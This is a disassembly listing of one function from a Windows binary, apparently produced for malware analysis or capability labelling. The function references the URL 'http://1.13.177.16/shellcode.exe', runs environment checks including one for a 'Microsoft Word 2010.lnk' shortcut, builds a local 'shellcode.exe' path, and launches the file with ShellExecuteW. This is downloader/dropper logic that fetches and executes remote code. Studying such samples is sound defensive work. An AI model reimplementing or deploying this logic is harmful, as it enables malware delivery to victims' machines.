Function at 0x402010
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x557188]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x20
xor esi, esi
xor eax, eax
mov edi, 7
push str.http:__1.13.177.16_shellcode.exe
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x98], esi
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x48], esi
mov word [ebp - 0x58], ax
call fcn.00401650
push 1
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x3c]
push edx
call fcn.00401990
add esp, 0xc
push 2
xor eax, eax
push 0x514dc8
lea ecx, [ebp - 0x20]
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x10], esi
mov word [ebp - 0x20], ax
call fcn.00401650
lea ecx, [ebp - 0x20]
push ecx
lea ebx, [esi + 1]
call fcn.004010f0
add esp, 4
test al, al
je 0x4020cd
push 2
xor edx, edx
push 0x514dc0
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], edi
mov dword [ebp - 0x64], esi
mov word [ebp - 0x74], dx
call fcn.00401650
lea eax, [ebp - 0x74]
push eax
lea ebx, [esi + 3]
call fcn.004010f0
add esp, 4
test al, al
jne 0x4020cd
call fcn.00401c70
mov byte [ebp - 0x91], 1
cmp eax, 6
jl 0x4020d4
mov byte [ebp - 0x91], 0
mov edi, 8
test bl, 2
je 0x402102
and ebx, 0xfffffffd
cmp dword [ebp - 0x60], edi
jb 0x4020f2
mov ecx, dword [ebp - 0x74]
push ecx
call fcn.0040232a
add esp, 4
xor edx, edx
mov dword [ebp - 0x60], 7
mov dword [ebp - 0x64], esi
mov word [ebp - 0x74], dx
test bl, 1
je 0x40211b
and ebx, 0xfffffffe
cmp dword [ebp - 0xc], edi
jb 0x40211b
mov eax, dword [ebp - 0x20]
push eax
call fcn.0040232a
add esp, 4
cmp byte [ebp - 0x91], 0
je 0x402157
cmp dword [ebp - 0x28], edi
jb 0x402135
mov ecx, dword [ebp - 0x3c]
push ecx
call fcn.0040232a
add esp, 4
xor edx, edx
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x2c], esi
mov word [ebp - 0x3c], dx
cmp dword [ebp - 0x44], edi
jb 0x4022ca
mov eax, dword [ebp - 0x58]
push eax
jmp 0x4022c2
call fcn.00401c70
cmp eax, 3
jne 0x402199
xor ecx, ecx
push edi
mov word [ebp - 0x20], cx
push 0x514dac
lea ecx, [ebp - 0x20]
mov dword [ebp - 0xc], 7
mov dword [ebp - 0x10], esi
call fcn.00401650
lea edx, [ebp - 0x20]
push edx
or ebx, 4
call fcn.00401d80
add esp, 4
mov byte [ebp - 0x91], 1
test al, al
jne 0x4021a0
mov byte [ebp - 0x91], 0
test bl, 4
je 0x4021b6
cmp dword [ebp - 0xc], edi
jb 0x4021b6
mov eax, dword [ebp - 0x20]
push eax
call fcn.0040232a
add esp, 4
cmp byte [ebp - 0x91], 0
jne 0x402124
xor ecx, ecx
push 0x17
mov word [ebp - 0x20], cx
push str.Microsoft_Word_2010.lnk
lea ecx, [ebp - 0x20]
mov dword [ebp - 0xc], 7
mov dword [ebp - 0x10], esi
call fcn.00401650
lea edx, [ebp - 0x20]
push edx
call fcn.00401d80
add esp, 4
mov bl, al
cmp dword [ebp - 0xc], edi
jb 0x402201
mov eax, dword [ebp - 0x20]
push eax
call fcn.0040232a
add esp, 4
test bl, bl
jne 0x402124
lea ecx, [ebp - 0x20]
push str._shellcode.exe
push ecx
call fcn.00401810
add esp, 4
push eax
lea edx, [ebp - 0x90]
push edx
call fcn.004018e0
add esp, 0xc
cmp dword [ebp - 0xc], edi
jb 0x40223b
mov eax, dword [ebp - 0x20]
push eax
call fcn.0040232a
add esp, 4
lea ecx, [ebp - 0x90]
push ecx
lea edx, [ebp - 0x3c]
push edx
call fcn.00401ea0
add esp, 8
test al, al
je 0x402274
mov eax, dword [ebp - 0x90]
cmp dword [ebp - 0x7c], edi
jae 0x402263
lea eax, [ebp - 0x90]
push 1
push esi
push esi
push eax
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp dword [ebp - 0x7c], edi
jb 0x402288
mov eax, dword [ebp - 0x90]
push eax
call fcn.0040232a
add esp, 4
xor ecx, ecx
mov ebx, 7
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x80], esi
mov word [ebp - 0x90], cx
cmp dword [ebp - 0x28], edi
jb 0x4022ad
mov edx, dword [ebp - 0x3c]
push edx
call fcn.0040232a
add esp, 4
xor eax, eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], esi
mov word [ebp - 0x3c], ax
cmp dword [ebp - 0x44], edi
jb 0x4022ca
mov ecx, dword [ebp - 0x58]
push ecx
call fcn.0040232a
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.004f1a90
mov esp, ebp
pop ebp
ret 0x10